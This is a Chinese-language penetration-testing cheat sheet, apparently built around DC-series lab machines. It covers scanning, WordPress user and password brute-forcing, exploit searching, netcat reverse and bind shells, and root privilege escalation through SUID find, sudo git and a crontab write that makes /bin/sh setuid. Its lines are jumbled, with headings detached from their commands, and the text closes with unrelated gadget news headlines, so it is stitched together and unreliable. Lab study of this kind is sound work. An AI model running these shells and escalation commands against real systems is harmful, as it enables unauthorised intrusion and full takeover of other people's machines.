常用命令和工具:
metasploit nmap sqlmap 中国蚁剑 冰蝎 dirsearch dirbuster 等常用工具就不在此介绍了
whatweb是kali自带的一个信息搜集工具
nmap 192.168.26.0/24
nmap -sS -sV -T4 -A -p- 192.168.26.129
数据库密码hash解密工具john
whatweb http://dc-2 #常用于信息搜集 , 获取cms和服务器版本等信息
cewl是kali自带的一个密码字典生成工具
john password.txt #文件里是hash加密后的密码
针对wordpress站点可以使用wpscan先爆破该网站的用户名
cewl -w dc_passwords.txt http://dc-2 #按照一定规则 , 对网站爬取生成密码字典并写入到dc_passwords.txt中
通过已经wpscan扫描到的用户名和cewl生成的密码字典可以对目标进行爆破登录
wpscan --ignore-main-redirect --url 192.168.26.130 --enumerate u --force
漏洞搜索:
wpscan --ignore-main-redirect --url 192.168.26.130 -U dc-_user.txt -P dc_passwords.txt --force
python交互式shell
searchsploit joomla 3.7.0 #搜索joomla 3.7.0的漏洞
msfconsole #利用msf搜索相关组件漏洞
search joomla 3.7.0
RCE反弹shell的命令:
python -c ‘import pty;pty.spawn(\"/bin/bash\")’ #使用python获取交互式shell , 实际上也就是模拟了一个虚拟终端
SSH服务相关命令
nc -lvnp 666 #kali先监听666端口
nc 192.168.26.132 666 -e /bin/bash #在靶机上执行该命令 , ip为kali的IP
目标机器连接kali利用ssh将 exp下载到靶机上来
开启:/etc/init.d/ssh start
重启:/etc/init.d/ssh restart
关闭:/etc/init.d/ssh stop
状态:/etc/init.d/ssh status
ssh graham@192.168.26.134 # @符前为用户名 后面为要登录的服务器IP
涉及到的提权方式:
scp >root@192.168.26.20:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/ #靶机上执行 用户名和IP是kali的
scp /path/local_filename username@IP:/path #kali上执行 用户名和IP是靶机的
**Tips:**拿到一个本地普通用户后 , 往往先要在该用户的家目录下搜索一番 , 以寻找有用的信息 , 提权的时候几乎所有的文件操作都在tmp目录下 , 因为其他目录往往没有权限 , 所以要时刻注意自己当前所在的目录 。
suid之find提权
find / -user root -perm -4000 -print 2>/dev/null #发现具有suid权限的命令
sudo提权系列:
touch test
find test -exec whoami ;
find te -exec netcat -lvp 5556 -e /bin/sh ; //在被攻击服务器上执行>>该命令 监听本地5555端口 , 用于入站连接
netcat xx.xx.xx.xx 5556 // 自己服务器上 使用>nc 输入对方ip和端口 , 去连接 , 从而获得一个root权限的shell
sudo之teehee提权(方法不唯一)
sudo -l #查看可以无密码使用root权限的命令
sudo之git提权
输入以下命令即可提权成功
sudo git help config
h
!/bin/bash
teehee命令可以对文件进行写入操作 , 我们可以借此来提权
利用写入定时任务来提权
上面这条命令的意思是在/etc/crontab下写入定时计划 , 一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限) , 这样当我们再执行/bin/bash的时候就可以获得一个root权限的shell 。 除此之外还可以利用写入/etc/passwd文件添加一个有root权限的用户来提权 。
echo “* * * * * root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab # 参数 -a , 对指定文件进行追加 , 不覆盖
- 国行|Galaxy S22系列正式发布,完美工艺,出众性能,国行价格有惊喜!
- 宏碁酷睿12系列笔记本登场,最低6499元,有哪些优点,哪些不足
- 三星|三星拼了,国行版S22系列将于2月22日发布,加量不加价!
- 屡获权威机构认可!Smartbi入选高科技高成长企业系列三大榜单
- 三星|三星S22系列不再自带贴膜:可不是因为环保
- 华为mate|华为不离不弃!华为Mate 50系列新爆料:双发麒麟和骁龙版,漂亮
- 三星|三星S22系列不再自带贴膜:不只是环保
- 酷睿处理器|被苹果抛弃后,英特尔推出12代酷睿H系列,测试比M1 Max更强?
- 游戏本|首发全新满功耗RTX 30系列!ROG枪神6电竞游戏本13499元起
- 尼康|是在暗示魅族19系列要来了吗?官宣海报透露元宵节有大动作